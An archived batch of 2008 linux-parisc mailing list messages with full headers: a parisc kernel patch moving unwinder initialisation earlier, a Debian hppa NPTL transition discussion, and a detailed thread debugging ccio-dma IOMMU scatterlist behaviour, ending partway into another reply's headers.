Date: Thu, 04 Sep 2008 11:15:43 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1220544943.3276.20.camel@localhost.localdomain>
References: <1220540651.3276.16.camel@localhost.localdomain>
	 <20080904160557.GT28946@ZenIV.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220544990 17497 80.91.229.12 (4 Sep 2008 16:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 16:16:30 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 18:17:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbHVw-0002tZ-2C
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 18:16:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753483AbYIDQPq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 12:15:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753468AbYIDQPq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 12:15:46 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:60311 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750822AbYIDQPp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 12:15:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B65CA8037;
	Thu,  4 Sep 2008 11:15:44 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pPi1TGuiotmV; Thu,  4 Sep 2008 11:15:43 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 38B9B7FDB;
	Thu,  4 Sep 2008 11:15:43 -0500 (CDT)
In-Reply-To: <20080904160557.GT28946@ZenIV.linux.org.uk>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:714 gmane.linux.kernel:729837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/714>

On Thu, 2008-09-04 at 17:05 +0100, Al Viro wrote:
> 	We should've set refcount on the root sysctl table; otherwise we'll
> blow up the first time we get down to zero dynamically registered sysctl
> tables.
> 
> Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

That fixes the problem,

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] initialise the unwinder really early
Date: Thu, 04 Sep 2008 11:34:41 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1220546081.3276.24.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220546100 22127 80.91.229.12 (4 Sep 2008 16:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 16:35:00 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 18:35:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbHoA-00019z-Hh
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 18:35:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751002AbYIDQeo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 12:34:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752108AbYIDQeo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 12:34:44 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:43363 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751002AbYIDQen (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 12:34:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 1B6FA8037
	for <linux-parisc@vger.kernel.org>; Thu,  4 Sep 2008 11:34:43 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VDlrgmKQdnOT for <linux-parisc@vger.kernel.org>;
	Thu,  4 Sep 2008 11:34:42 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id BA0E97FDB
	for <linux-parisc@vger.kernel.org>; Thu,  4 Sep 2008 11:34:41 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/715>

The stack traces from the recent boot panic showed that the unwinder
wasn't working correctly.  Debugging by tausq revealed that it wasn't
set up yet, so fix this by calling it first from setup_arch().

James

---

diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 39e7c5a..0391631 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -44,6 +44,7 @@
 #include <asm/pdc_chassis.h>
 #include <asm/io.h>
 #include <asm/setup.h>
+#include <asm/unwind.h>
 
 static char __initdata command_line[COMMAND_LINE_SIZE];
 
@@ -123,6 +124,7 @@ void __init setup_arch(char **cmdline_p)
 #ifdef CONFIG_64BIT
 	extern int parisc_narrow_firmware;
 #endif
+	unwind_init();
 
 	init_per_cpu(smp_processor_id());	/* Set Modes & Enable FP */
 
diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 701b2d2..6773c58 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -170,7 +170,7 @@ void unwind_table_remove(struct unwind_table *table)
 }
 
 /* Called from setup_arch to import the kernel unwind info */
-static int unwind_init(void)
+int unwind_init(void)
 {
 	long start, stop;
 	register unsigned long gp __asm__ ("r27");
@@ -417,5 +417,3 @@ int unwind_to_user(struct unwind_frame_info *info)
 
 	return ret;
 }

From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 13:29:06 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab440809041029v6d7592bau15a2307099e5f02e@mail.gmail.com>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
	 <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
	 <20080904160407.GB24316@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220549358 3144 80.91.229.12 (4 Sep 2008 17:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 17:29:18 +0000 (UTC)
Cc: "Debian HPPA Port List" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "dann frazier" <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 19:30:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbIep-00046r-BP
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 19:30:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751558AbYIDR3J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 13:29:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751841AbYIDR3J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 13:29:09 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.234]:18353 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751558AbYIDR3H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 13:29:07 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so51895wri.5
        for <linux-parisc@vger.kernel.org>; Thu, 04 Sep 2008 10:29:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=xmGkuCaTnftvkfdEQme8GsJZPfKLwB+eysS7+Bri64k=;
        b=LJgt5oyHCnCUZNCs/nEjEHR2po4Q6A7rVKI62EhWeH0BqHhWTRTSu8yTwdMUhBL0dB
         roOv4F3KetsobOBP5bbPa2+gxstQWhMgd9G41EsZowQupZlJdyNWo2WEKjOGQwkwwAnU
         9aO32+H+Tfm/0WgPilT2wZh8NTkMz2GYhInVg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=T20xGA/ubb0dp7O5TPIoyY72p8pO+XAP8tMiPsSGDcBFDjBWmn87I3h4cgpvdygQz1
         vYoOfxiyOsgCJuIiLtMBVl/6jVv4U9p1qE06Eg0kw4FkAd6gwKH0Y4Quud4ixS3Z+flJ
         eCqDLaaWKaUQVISvKmFnR3U9YBmvlb9hZpLqE=
Original-Received: by 10.90.67.10 with SMTP id p10mr13423625aga.56.1220549346759;
        Thu, 04 Sep 2008 10:29:06 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Thu, 4 Sep 2008 10:29:06 -0700 (PDT)
In-Reply-To: <20080904160407.GB24316@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 7593db088bcb95d3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:716 gmane.linux.debian.ports.hppa:5480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/716>

On Thu, Sep 4, 2008 at 12:04 PM, dann frazier <dannf@dannf.org> wrote:
> If we continue to use libc6 as the package name as we're currently
> doing, at some point libc will get upgraded to the NPTL interface and
> things will start crashing immediately. I asked if we could just do
> "whatever x86 did", and kyle said that we have a problem they didn't -
> our data nptl/lt data structures are incompatible.
>
> We can deal with that to an extent by adding a second libc package,
> e.g., libc6.1. But, jejb pointed out that, since most libs depend on
> libc, we'll need to be able to have libs for both interfaces at the
> same time to support a transitional upgrade - and that implies an
> SONAME bump for every C library.
>
> Hopefully there's an easier way, but I don't know of one.

How far away is queeze?

I have to go write some, code, and test some changes, and get back to
the list with some options.

Namely:

Is it possible to change the pthread structures such that writing the
compatibility code is easy?
- Leave padding where the old lock words were and detect statically
initialized locks by looking at these words?
- Does this break Gentoo? I think they just emerge world.
- Does this break Ubuntu hppa? Probably.

Chers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: How DMA_CHUNK_SIZE is related to BIO_VMERGE_MAX_SIZE???[Was: ccio-dma:
 is issue could be related to too much io_tlb entries?]
Date: Thu, 04 Sep 2008 17:36:39 +0000
Lines: 259
Approved: news@gmane.org
Message-ID: <48C01CA7.70501@scarlet.be>
References: <K580M2$AC089974BA401B2D6711347E41C95F6E@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220549898 5677 80.91.229.12 (4 Sep 2008 17:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 17:38:18 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 19:39:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbInX-0006dj-Ev
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 19:39:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750822AbYIDRiJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 13:38:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751447AbYIDRiJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 13:38:09 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:45404 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750822AbYIDRiH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 13:38:07 -0400
Original-Received: from [213.49.80.174] (ip-213-49-80-174.dsl.scarlet.be [213.49.80.174])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m84HadVE027243;
	Thu, 4 Sep 2008 19:36:42 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.16 (X11/20080724)
In-Reply-To: <K580M2$AC089974BA401B2D6711347E41C95F6E@scarlet.be>
X-DCC-scarlet.be-Metrics: sif 20001; Body=4 Fuz1=4 Fuz2=4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/717>

Hello Grant et al.,

Looking out how DMA_CHUNK_SIZE is used else where:
root@etchome:/Develop/parisc-linux/Kyle/linux-2.6-snaps.git# find . -type f | xargs grep  DMA_CHUNK_SIZE
./arch/parisc/kernel/pci-dma.c:#include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
./arch/ia64/hp/common/sba_iommu.c:** DMA_CHUNK_SIZE is used by the SCSI mid-layer to break up
./arch/ia64/hp/common/sba_iommu.c:#define DMA_CHUNK_SIZE  (BITS_PER_LONG*iovp_size)
./arch/ia64/hp/common/sba_iommu.c:	ASSERT(size <= DMA_CHUNK_SIZE);
./arch/ia64/hp/common/sba_iommu.c:			ASSERT(startsg->length <= DMA_CHUNK_SIZE);
./arch/ia64/hp/common/sba_iommu.c:			** exceed DMA_CHUNK_SIZE if we coalesce the
./arch/ia64/hp/common/sba_iommu.c:			    > DMA_CHUNK_SIZE)
./arch/ia64/hp/common/sba_iommu.c:		ASSERT(dma_len <= DMA_CHUNK_SIZE);
./drivers/parisc/ccio-dma.c:	BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
./drivers/parisc/ccio-dma.c:	BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
./drivers/parisc/iommu-helpers.h:			** exceed DMA_CHUNK_SIZE if we coalesce the
./drivers/parisc/iommu-helpers.h:					    IOVP_SIZE) > DMA_CHUNK_SIZE))
./drivers/parisc/sba_iommu.c:#include <asm/dma.h>		/* for DMA_CHUNK_SIZE */
./include/asm-parisc/dma.h:** DMA_CHUNK_SIZE is used by the SCSI mid-layer to break up
./include/asm-parisc/dma.h:#define DMA_CHUNK_SIZE	(BITS_PER_LONG*PAGE_SIZE)

Well this last comment "DMA_CHUNK_SIZE is used by the SCSI mid-layer ..." would certainly be an evidence to me in 2.4 tree 
with scsi_merge.c but today (with 2.6 tree) this was removed and even with google it's hard to track down what this 
DMA_CHUNK_SIZE size become?

Never the less, in parisc ccio-dma and sba_iommu there are:
         parisc_vmerge_boundary = IOVP_SIZE;
         parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;

that would mean parisc_vmerge_max_size == DMA_CHUNK_SIZE if it was writen like for ia64 sba_iommu i.e. #define 
DMA_CHUNK_SIZE (BITS_PER_LONG*iovp_size).

Here numerically PAGE_SIZE == IOVP_SIZE, so it will not exhibit any issue if I replace DMA_CHUNK_SIZE by BIO_VMERGE_MAX_SIZE 
(include/asm-parisc/io.h:#define BIO_VMERGE_MAX_SIZE	parisc_vmerge_max_size). Obvioulsy that would help me to make the link 
between those stuff but what's up if somebody will try to manage parisc IOVP_SIZE > PAGE_SIZE?

Tia for your additional advise,
	J.

PS: may be would it also help me to figure out if (for ccio-dma) DMA_CHUNK_SIZE wouldn't be better chain_size?

Joel Soete wrote:
>> On Tue, Aug 05, 2008 at 03:21:32PM +0100, Joel Soete wrote:
>>>> On Thu, Jul 24, 2008 at 02:13:55PM +0100, Joel Soete wrote:
>>>>> Hello Grant, Kyle, et al.,
>>>>>
>>>>> Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?
>>>> ISTR that u2 and uturn have different number of IO TLB entries.
>>>> But I don't recall how many exactly. Need the ERSs to look that up.
>>>>
>>> Well, I don't yet find the right way to get access, sorry.
>>>
>>>>> Because issue occur only when I do a lot of I/O on scsi disk (sometime
> request
>>>>> of mapping reach 128 pages), the idea was that it could induce some
> exceed of
>>>>> iotlb entries.
>>>>>
>>> [snip]
>>>> The number of "used" entries include "in flight" DMA and pci_consistent
>>> allocations. This generally isn't that many pages of RAM.
>>> Ok,
>>> But the idea was that if so much pdir entries was mapped in a so short time
>>> (1s), it should be also that the device will try to use them on the fly (just
>>> an hypothesis.)
>>> And so far as I can observe, the pb occurs when os operate on numerous huge
>>> data blocks (i.e. a tar -xvf of a linux tree into a single fs); so in this
>>> case it should be that the i/o device trigger many i/o tlb miss and may be
>>> much more i/o tlb entries then it can be freed?
>> Yes, that's certainly possible. 
>> But it's not the only behavior triggered by lots of in-flight IO traffic.
>>
> Ok 
> (that's just the simplest way I found to reproduce the day to day issue I
> encounter when I do an update of my system: this is not during the download of
> pkg but during 'Unpacking' step and that already broken my fs ;_()
> 
>>> What I observe also is that the pb become worse either with a system with few
>>> ram (like my c110 with 64M) or when I resurrect CCIO_MEM_RATIO (e.g. 2 or 4)
>>> on a system with 256Mb of RAM). In those last 2 cases the effect is the same:
>>>   a/ it makes the pdir_size and the number of pdir entries smaller
>> Yes.
>>
>>>   b/ as well for chainid_shift.
>> I've forgotten exactly the role of the chainid...I'd have to study
>> the code again.
>>
> no pb
>  
>>> This last point (b/) make me thought that it would also make smaller the
>>> number of 4k-byte per chainid and so for a same DMA block size it would
>>> required more iotlb entries.
>> No. The number of IO TLB entries (192 or something like that) and IO MMU
>> page size (4k) are both fixed.
>> Both are also completely unrelated to the size of the IO Pdir.
>>
> Totaly agree.
> But I wrongly explain my idea, my understanding was that chainid_shift allow
> to compute a chainid_mask to setup the U2 (in my case) iommu.
> After my reading of hp paper: "Hardware Cache Coherent Input/Output", I
> supposed (that's certainly where I am wrong) that this chainid_mask was a hint
> to instruct iommu the max size of an I/O data block (e.g. for the d380 with
> 256Mb I got chainid_shift = 19 [18 with ccio_mem_ratio = 2] and so chain_size
> = 2 ^ 19 = 128 * 4k pages (at least that's only what clear_io_tlb() does)). So
> for a big data block of 128*4k pages (I realy read such request of mapping)
> the scsi device would just need 1 io_tlb entry while it would request 2 (with
> ccio_mem_ratio = 2) and even 4 (with a c110 with only 64Mb).
> That's obviously  my own reading (without any coach ;-), sorry in advance if
> that's more confusing.
> 
>>> Obviously just speculation ;<).
>>>
>>> Even thought 3 things sure:
>>>   - issue occurs for huge I/O
>>>   - become worse with reduced iov_space_size (physical or logical)
>>>   - backport sba help a bit but doesn't fix issue
>> Yeah, those suggest IO TLB flushing is failing or IO Pdir isn't coherent.
>> There might be other things broken too.
>>
> Yes
> (with relayfs I tried to trace as much as I can but it have the default to not
> capture all messages and so just give me a overview of the execution path.
> Next step in my investigation: coalesce_chunks();
> but I am still looking for sg_list detail, though what kind of sg sump I could
> grab (after coalesce_chunks()):
> 
> this one is easy to understand:
> [0]- page_link: 0x10692980 (275327360), offset:0x0, length: 4096,
> iova(dma_address): 0xad0000, iova_length(dma_length): 40960.
> [1]- page_link: 0x10692960 (275327328), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [2]- page_link: 0x10692940 (275327296), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [3]- page_link: 0x10692920 (275327264), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [4]- page_link: 0x10692900 (275327232), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [5]- page_link: 0x106928e0 (275327200), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [6]- page_link: 0x106928c0 (275327168), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [7]- page_link: 0x10692a80 (275327616), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [8]- page_link: 0x10692c40 (275328064), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [9]- page_link: 0x10692c22 (275328034), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> 
> i.e. 10 * 4k pages fused (coalesce?) in one dma data block of 40K using iova
> 0xad0000 (ok?)
> 
> but I don't yet understand following ones:
> [0]- page_link: 0x10681b40 (275258176), offset:0x0, length: 4096,
> iova(dma_address): 0x198000, iova_length(dma_length): 12288.
> [1]- page_link: 0x10681b20 (275258144), offset:0x0, length: 4096,
> iova(dma_address): 0x19bc00, iova_length(dma_length): 1024.
> [2]- page_link: 0x10681b00 (275258112), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [3]- page_link: 0x10681a82 (275257986), offset:0xc00, length: 1024,
> iova(dma_address): 0x8019bc00, iova_length(dma_length): 0.
> 
> why not fuse in only one block?
> 
> or this one:
> [0]- page_link: 0x10692f00 (275328768), offset:0x0, length: 12288,
> iova(dma_address): 0x1a30000, iova_length(dma_length): 49152.
> [1]- page_link: 0x10693060 (275329120), offset:0x0, length: 4096,
> iova(dma_address): 0x1a40000, iova_length(dma_length): 40960.
> [2]- page_link: 0x106930a0 (275329184), offset:0x0, length: 8192,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [3]- page_link: 0x10693240 (275329600), offset:0x0, length: 24576,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [4]- page_link: 0x106935e0 (275330528), offset:0x0, length: 20480,
> iova(dma_address): 0x81a40000, iova_length(dma_length): 0.
> [5]- page_link: 0x106937a0 (275330976), offset:0x0, length: 4096,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> [6]- page_link: 0x106937e2 (275331042), offset:0x0, length: 16384,
> iova(dma_address): 0x0, iova_length(dma_length): 0.
> 
> as the chainid_size is of 128*4k pages (=512k) why not coalescing all stuff in
> one data block? 
> Or it's not the place where scatterlist blocks are put together to form one
> contiguous block for dma access?
> (well my understanding of the beginning of sg list management was to put
> together scattered blocks at contiguous _physical_ address for dma access. But
> with those U2 we work now with _virtual_ address and index so am I a bit lost ;-)
>  
> But this next one are totally puzzling me:
> [0]- page_link: 0x10667600 (275150336), length: 1024, iova(dma_address):
> 0x800ae000, iova_length(dma_length): 1024.
> [1]- page_link: 0x1072e2e0 (275964640), length: 1024, iova(dma_address):
> 0x800afc00, iova_length(dma_length): 1024.
> [2]- page_link: 0x10676180 (275210624), length: 1024, iova(dma_address):
> 0x800b0800, iova_length(dma_length): 1024.
> [3]- page_link: 0x10541d00 (273947904), length: 1024, iova(dma_address):
> 0x800b1c00, iova_length(dma_length): 1024.
> [4]- page_link: 0x1072dd00 (275963136), length: 1024, iova(dma_address):
> 0x800b2800, iova_length(dma_length): 1024.
> [5]- page_link: 0x1072dd20 (275963168), length: 1024, iova(dma_address):
> 0x800b3800, iova_length(dma_length): 1024.
> [6]- page_link: 0x107284c0 (275940544), length: 1024, iova(dma_address):
> 0x800b4c00, iova_length(dma_length): 1024.
> 
> (sorry, here I don't have offsets but I doubt it would help me to understand
> why no gather occurs here?)
> 
> 
>>>>> Anyway, difference between those last 2 samples (718 - 444) = 274
> increase of
>>>>> io_pdir entries.
>>>> That's about right for a SCSI device since it can't have that much
>>>> IO in flight for one or two disks.
>>>>
>>> [snip]
>>>> Of course. The number of "used" entries in the IO Pdir has no direct
>>>> correlation to the number of "in use" IO TLB entries. IO TLB is fixed
>>>> size while the IO Pdir size can vary between boots.
>>>>
>>>>> Well as scatterlist is still puzzling me, I can still be confused between
>>>>> iommu and mmu pages mapping, sorry so in advance if it's yet another
> annoying
>>>>> comment.
>>>> IOMMU is an MMU for IO devices. MMU is the same thing for CPU.
>>>> Differences exist between those two. DMA is generally to larger
>>>> chunks/regions of RAM (256-2K bytes) while CPUs need to enforce
>>>> access rights (X/R/W) to memory and deal with cachelines or less.
>>>>
>>> (well I still have difficulties in the relationship between all those buffers
>>> which are caches and tlb and over that I/O DMA with its own set of cache and
>>> iotlb. Fortunately there are now good doc freely available and good engine to
>>> look for it, but it's not yet so easy to me)
>> Agreed - it's not easy.
>>
> Tx (when a master said 'it's not easy' that sincerely encourage me to continue
> my learning)
> 
> Again thanks a lot for your kind attention,
>     J.
> 
>> grant
>>
>>> Tx again for advises,
>>>     J.
>>>
>>>> hth,
>>>> grant
>>>> --
>> --
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 11:49:00 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20080904174859.GA19630@colo.lackof.org>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com> <20080904152329.GA24316@colo.lackof.org> <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com> <20080904160407.GB24316@colo.lackof.org> <119aab440809041029v6d7592bau15a2307099e5f02e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220550571 8295 80.91.229.12 (4 Sep 2008 17:49:31 GMT)
